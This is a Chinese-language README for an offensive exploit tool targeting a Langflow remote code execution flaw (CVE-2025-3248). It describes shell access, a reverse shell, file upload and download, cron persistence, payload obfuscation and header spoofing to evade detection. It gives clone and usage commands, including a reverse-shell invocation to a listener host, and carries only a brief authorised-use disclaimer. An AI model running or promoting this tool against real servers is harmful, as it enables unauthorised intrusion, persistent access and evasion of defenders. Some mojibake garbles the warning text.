Langflow RCE 漏洞利用 (CVE-2025-3248)

针对 Langflow 的远程代码执行漏洞利用 (CVE-2025-3248)

功能特点

• 自动漏洞检测
• 多种利用模式：
  • 交互式 Shell
  • 单命令执行
  • 反弹 Shell 连接
• 文件上传能力
• 彩色用户界面
• 多种反弹 Shell 方法
• 命令历史持久化

📌 更新日志 (v2.0)

✨ 新特性：

• 高级 Payload 系统，支持 5 种执行方式
• 文件上传/下载，使用 Base64 编码
• 持久化（通过 cron 任务，persist 命令）
• 交互式 Shell 升级：
  • upload local_path remote_path
  • download remote_path local_path
  • clear 终端命令

🛡️ 安全增强：

• 自动 Payload 混淆（Base64 + 随机变体）
• 每请求头部轮换：
  • 随机 User-Agent
  • 伪造的 X-Forwarded-For IP
• HTTPS 绕过（支持自签名证书）
• 不跟随重定向以避免检测

⚡ 技术改进：

• 多阶段漏洞验证
• 增强的错误处理，适用于不稳定连接
• 完整的会话日志记录到 exploit_log.txt
• 命令历史持久化（.langflow_shell_history）

📊 版本对比：

🐛 错误修复：

• 修复了 HTTPS 连接问题
• 改进了命令中特殊字符的处理
• 提高了反弹 Shell 的稳定性

环境要求

• Python 3.6 或更高版本
• 所需库：
  • requests
  • colorama
  • readline

安装

git clone https://github.com/0-d3y/langflow-rce-exploit.git
cd langflow-rce-exploit
pip install -r requirements.txt

使用方法

python exploit.py <URL> [options]

可用选项：

示例：

1. 检查漏洞：

python exploit.py http://target.com

2. 启动交互式 Shell：

python exploit.py http://target.com --shell

3. 执行单条命令：

python exploit.py http://target.com --command "whoami"

4. 发起反弹 Shell：

python exploit.py http://target.com --reverse 192.168.1.100 4444

截图

Image.png)

警告

âڑ ï¸ڈ 该工具仅供教育和授权测试目的使用。
âڑ ï¸ڈ 在未经拥有者许可或未获授权的情况下对系统进行未授权使用是违法的。

许可证

本项目采用 MIT 许可证授权 - 详见 LICENSE 文件。

作者

• Mr.SaMi
  
  

贡献

欢迎提交 Pull Request。如需进行重大更改，请先开启一个 Issue 讨论您想更改的内容。